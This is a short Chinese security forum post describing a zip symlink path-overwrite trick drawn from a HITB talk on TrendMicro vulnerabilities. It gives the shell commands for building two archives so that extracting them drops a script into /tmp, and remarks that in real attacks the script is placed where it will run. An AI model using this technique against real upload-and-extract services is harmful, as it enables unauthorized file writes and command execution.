-
-
[分享]zip和symbolic links的故事
-
发表于: 2017-4-17 18:07 2365
-
HITB一个针对 TrendMicro 旗下产品漏洞挖掘总结的议题(Is All Of Them.pdf),其中好多有意思的技巧,拿过来分享一个:Zip 路径覆盖。
在利用漏洞的时候,如果linux软连接(symbolic links)用的好话,可以发生很多有趣的事情,比如之前CVE-2016-9086【GitLab未授权访问漏洞可导致远程命令执行】。本次作者利用上传zip+软连接也达到了命令执行的效果。
原文中作者发现了一个可以上传zip文件并解压的漏洞,但是一不能利用解压后文件get webshell,二不能指定解压的路径,按道理来说不是一好洞,然而作者利用软连接突破了这个限制。接下来复现一下。
首先穿件一个文件夹和要执行的脚本,连文件夹一起打包成a.zip。
```
mkdir test
vim test/a.sh
chmod 777 test/a.sh
zip -r a.zip test/a.sh
```
删除之前的文件夹,创建一个软连接和之前文件夹同名,这里我用的tmp的目录,打包这个软连接b.zip。
```
rm -r test
ln -s /tmp test
zip --symlinks -r b.zip ./test
```
先解压包含软连接的b.zip,在解压a.zip,这时候tmp目录就包含了之前创建的bash脚本。
```
unzip b.zip
unzip a.zip
cat /tmp/a.sh
```
在实战中根据权限把脚本放到能被执行到的地方就能成功执行命令了。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图
赞赏
雪币:
留言: